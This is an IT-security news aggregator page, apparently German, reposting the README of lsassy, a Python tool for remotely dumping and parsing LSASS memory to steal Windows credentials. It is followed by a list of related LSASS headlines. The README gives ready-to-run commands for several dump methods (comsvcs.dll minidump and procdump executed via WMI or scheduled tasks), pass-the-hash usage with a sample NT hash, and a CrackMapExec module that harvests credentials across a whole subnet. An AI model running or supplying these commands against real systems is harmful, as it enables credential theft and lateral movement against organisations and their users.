Lädt...

📰 Lsassy - Extract Credentials From Lsass Remotely


Nachrichtenbereich: 📰 IT Security Nachrichten
🔗 Quelle: feedproxy.google.com


Python library to remotely extract credentials. This blog post explains how it works.
You can check the wiki
This library uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Requirements

Installation

From pip
python3.7 -m pip install lsassy

From sources
python3.7 setup.py install

Basic Usage
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>

Advanced

Dumping methods
This tool can dump lsass in different ways.
Dumping methods (-m or --method)
  • 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails)
  • 1: comsvcs.dll method, stop on success (default)
  • 2: Procdump method, stop on success (Requires -p)
  • 3: comsvcs.dll + Powershell method, stop on success
  • 4: comsvcs.dll + cmd.exe method

comsvcs.dll method
This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.
This method can only be used when context has SeDebugPrivilege. This privilege is either in Powershell local admin context, or cmd.exe SYSTEM context.
Two execution methods can be used.
  1. WMIExec with cmd.exe (no SeDebugPrivilege), or powershell (SeDebugPrivilege)
  2. ScheduledTasks with SYSTEM context (SeDebugPrivilege)

Procdump method
This method uploads procdump.exe from SysInternals to dump lsass process. It will first try to execute procdump using WMI, and if it fails it will create a remote task, execute it and delete it.

Examples
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 0 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 1
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 2 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 3
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 4

Remote parsing only
lsassy can parse an already dumped lsass process.
lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [<domain>/]<user>[:<password>]@<target>

CrackMapExec module
I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts
CrackMapExec module is in cme folder : CME Module

Examples

lsassy
# RunDLL Method
lsassy adsec.local/jsnow:[email protected]

# Procdump Method
lsassy -m 2 -p /tmp/procdump.exe adsec.local/jsnow:[email protected]

# Remote parsing only
lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:[email protected]

# NT Hash Authentication
lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected]

CME Module
crackmapexec smb 10.0.0.0/24 -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound

ChangeLog
v1.1.0
------
* Better execution process : --method flag has been added and described in help text
* Uses random dump name
* Chose between cmd, powershell, dll and/or procdump methods
* CME module is now using light lsassy WMIExec et TASKExec implementation
* Bug fixes

v1.0.0
------
* Built-in lsass dump
** Lsass dump using built-in Windows
** Lsass dump using procdump (using -p parameter)
* Add --dumppath to ask for remote parsing only
* Code refactoring
* Add --quiet to quiet output

v0.2.0
------
* Add BloodHound option to CME module (-o BLOODHOUND=True)
- Set compromised targets as "owned" in BloodHound
- Check if compromised users have at least one path to domain admin
* Custom parsing (json, grep, pretty [default])
* New --hashes option to lsassy
* Include CME module in repository
* Add credentials to CME database


v0.1.0
------
First release

Issues
If you find an issue with this tool (that's very plausible !), please
  • Check that you're using the latest version
  • Send as much details as possible.
    • For standalone lsassy, please use the -d debug flag
    • For CME module, please use CrackMapExec --verbose flag

Acknowledgments

Contributors


...

📰 What Is LSASS.EXE? Fix Lsass.exe High CPU Usage Issue Windows 11


📈 42.02 Punkte
📰 IT Security Nachrichten

🕵️ Hackers Abusing LSASS Process Memory to Exfiltrate Login Credentials


📈 28.94 Punkte
🕵️ Hacking

🪟 Windows 10 20H2 Fehler LSASS.exe „Ihr PC wird in einer Minute automatisch neu gestartet ...


📈 21.01 Punkte
🪟 Windows Server

📰 Windows Juni 2024-Updates: LSass-Bug gefixt; AuthLite auf Domain Controllern gekillt und mehr


📈 21.01 Punkte
📰 IT Nachrichten

🪟 Windows 10 / Server 2019 LSASS Process Dump Shellcode


📈 21.01 Punkte
🪟 Windows Server

📰 New Windows Server KB5039227 and KB5039217 updates fix LSASS crashes


📈 21.01 Punkte
📰 IT Security Nachrichten

🪟 Windows 7 / 8 LSASS Process Dump Shellcode


📈 21.01 Punkte
🪟 Windows Server

📰 Kritischer Prozess LSASS: Microsoft bestätigt Absturzproblem unter Windows 10


📈 21.01 Punkte
📰 IT Nachrichten

📰 Windows Server: April 2024 Update KB5036909 verursacht LSASS-Abstürze auf DCs


📈 21.01 Punkte
📰 IT Nachrichten

🕵️ Vuln: Microsoft Windows LSASS Buffer Overrun Vulnerability


📈 21.01 Punkte
🕵️ Sicherheitslücken

📰 Kritischer Prozess LSASS: Microsoft bestätigt Absturzproblem unter Windows 10


📈 21.01 Punkte
📰 IT Nachrichten

🪟 Microsoft confirms KB5036909 issues in Windows Server with NTLM traffic, LSASS


📈 21.01 Punkte
🪟 Windows Tipps

📰 lsass.exe: Virus, Trojaner oder wichtige Windows-Datei?


📈 21.01 Punkte
📰 IT Nachrichten

📰 Windows 10 20H2 LSASS crash issue causes forced reboots


📈 21.01 Punkte
📰 IT Security Nachrichten

📰 MultiDump - Post-Exploitation Tool For Dumping And Extracting LSASS Memory Discreetly


📈 21.01 Punkte
📰 IT Security Nachrichten

📰 Second Try at Windows LSASS Patch Addresses Vulnerability


📈 21.01 Punkte
📰 IT Security Nachrichten

🕵️ Microsoft failed to fix LSASS elevation of privilege flaw


📈 21.01 Punkte
🕵️ Hacking

🕵️ Vuln: Microsoft Windows LSASS CVE-2017-0004 Local Denial of Service Vulnerability


📈 21.01 Punkte
🕵️ Sicherheitslücken

📰 Microsoft's Patch for LSASS Flaw Incomplete, Google Researcher Says


📈 21.01 Punkte
📰 IT Security Nachrichten

📰 Windows Server November 2022-Updates verursachen LSASS-Memory Leak


📈 21.01 Punkte
📰 IT Nachrichten

⚠️ LSASS SMB NTLM Exchange Remote Memory Corruption


📈 21.01 Punkte
⚠️ PoC

📰 Microsoft fixes Windows 10 issue causing reboots, LSASS crashes


📈 21.01 Punkte
📰 IT Security Nachrichten

🪟 AV-Comparatgives testet LSASS Credential-Dumping Security auf Herz und ... - Finanznachrichten


📈 21.01 Punkte
🪟 Windows Server

⚠️ [dos] - Microsoft Windows - LSASS SMB NTLM Exchange Null-Pointer Dereference (MS16-137)


📈 21.01 Punkte
⚠️ PoC

🪟 Windows 10 Juni-Updates verursachen BlueScreen in lsass.exe


📈 21.01 Punkte
🪟 Windows Server

📰 Second Try at Windows LSASS Patch Addresses Vulnerability


📈 21.01 Punkte
📰 IT Security Nachrichten

📰 Windows 10 Juni-Updates verursachen BlueScreen in lsass.exe


📈 21.01 Punkte
📰 IT Nachrichten

🕵️ CVE-2022-37977 | Microsoft Windows up to Server 2022 LSASS denial of service


📈 21.01 Punkte
🕵️ Sicherheitslücken

🕵️ Vuln: Microsoft Windows LSASS CVE-2017-0004 Local Denial of Service Vulnerability


📈 21.01 Punkte
🕵️ Sicherheitslücken

📰 Windows 10 June 2020 updates cause forced reboots, LSASS crashes


📈 21.01 Punkte
📰 IT Security Nachrichten

matomo